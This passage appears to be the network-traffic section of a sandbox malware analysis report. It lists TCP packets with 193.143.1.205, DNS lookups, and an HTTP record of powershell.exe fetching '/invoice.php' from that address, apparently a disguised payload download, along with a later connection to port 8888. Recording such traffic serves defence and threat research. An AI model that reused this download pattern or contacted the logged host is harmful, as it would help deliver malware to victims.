Jan 11, 2025 05:48:19.203337908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203346014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203357935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203380108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203394890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203396082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203421116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203430891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203439951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203463078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203476906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203481913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203504086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203517914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203521967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203557968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204309940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204330921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204355001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204371929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204375982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204396009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204416990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204417944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204436064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204464912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204466105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204482079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204507113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204518080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204528093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204545975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204550028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204570055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204583883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204586029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204616070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204623938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.204632044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.204674959 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.206589937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.210923910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.237667084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237689972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237714052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237757921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237777948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237782955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.237802029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237823009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.237845898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.238106966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238126040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238141060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238154888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.238167048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238187075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238189936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.238204956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.238229990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247232914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247258902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247281075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247301102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247303963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247333050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247425079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247445107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247473001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247543097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247562885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247585058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247586012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247606993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247627020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247714043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247735977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247759104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247837067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247859001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247876883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247879982 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247900963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247917891 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247919083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247941971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247955084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.247961998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.247998953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.248191118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.248207092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.248250961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.252767086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.285867929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.285888910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.285979033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286022902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286042929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286065102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286077976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286091089 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286103964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286117077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286173105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286185980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286210060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286211014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286236048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286252022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286253929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286277056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286288023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286319017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286339998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286355972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286382914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286401987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286422968 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286423922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286446095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286464930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286469936 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286499977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286674023 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286691904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286712885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286729097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286735058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286750078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286767006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286771059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286789894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286803007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.286808968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286828995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.286853075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287331104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287352085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287365913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287373066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287389994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287405014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287410021 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287430048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287451029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287451029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287486076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287671089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287686110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287693977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287700891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287708998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287717104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287724018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287731886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287758112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287775040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287779093 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287806988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287823915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287821054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287847996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287867069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287868023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.287888050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.287908077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.288785934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288800955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288826942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288839102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.288842916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288862944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.288866043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288883924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288903952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288913012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.288932085 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288942099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.288953066 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288975954 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288989067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.288995981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289014101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289031982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289036989 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289055109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289068937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289072037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289093971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289113998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289124966 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289132118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289159060 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289598942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289619923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289638996 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289642096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289663076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289680004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289680004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289702892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289719105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289724112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289747953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289752960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289767027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289788008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289807081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289808035 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289824009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289844036 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289844990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289863110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289880037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289885044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289902925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289920092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289925098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289942026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289963961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289964914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.289983988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.289998055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.290738106 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.324384928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324410915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324443102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324464083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324481964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324481010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.324506044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324510098 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.324553967 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.324558973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.324595928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334194899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334213972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334244013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334297895 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334319115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334338903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334359884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334433079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334469080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334611893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334631920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334654093 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334672928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334800005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334815025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334840059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334841013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334860086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334877968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334882975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334894896 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334916115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334917068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334945917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334954023 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.334956884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334980965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.334995031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.335000992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.335019112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.335037947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.335057974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.335058928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.335078001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.335088015 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.335119963 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.372673988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372721910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372744083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372824907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372843981 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372884989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372904062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372925043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372945070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.372965097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.373051882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.373096943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.373117924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.373138905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.373166084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.415503979 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.699135065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:20.283648014 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:20.288511038 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:20.288645029 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:20.288768053 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:20.293550968 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:21.089962959 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:21.134444952 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:21.352344036 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:46.657253981 CET	61150	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:48:46.662216902 CET	53	61150	162.159.36.2	192.168.2.8
Jan 11, 2025 05:48:46.662338018 CET	61150	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:48:46.667296886 CET	53	61150	162.159.36.2	192.168.2.8
Jan 11, 2025 05:48:47.112576962 CET	61150	53	192.168.2.8	162.159.36.2
Jan 11, 2025 05:48:47.117775917 CET	53	61150	162.159.36.2	192.168.2.8
Jan 11, 2025 05:48:47.118393898 CET	61150	53	192.168.2.8	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:48:33.144804955 CET	60446	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:48:46.656467915 CET	53	51858	162.159.36.2	192.168.2.8
Jan 11, 2025 05:48:47.276010990 CET	61882	53	192.168.2.8	1.1.1.1
Jan 11, 2025 05:48:47.299437046 CET	53	61882	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:48:33.144804955 CET	192.168.2.8	1.1.1.1	0xd607	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:48:47.276010990 CET	192.168.2.8	1.1.1.1	0xc1a8	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:48:33.152364969 CET	1.1.1.1	192.168.2.8	0xd607	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:48:33.851039886 CET	1.1.1.1	192.168.2.8	0x1c13	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:48:33.851039886 CET	1.1.1.1	192.168.2.8	0x1c13	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:48:47.000977039 CET	1.1.1.1	192.168.2.8	0x22fa	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:48:47.000977039 CET	1.1.1.1	192.168.2.8	0x22fa	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:48:47.299437046 CET	1.1.1.1	192.168.2.8	0xc1a8	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	7940	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:48:17.834593058 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
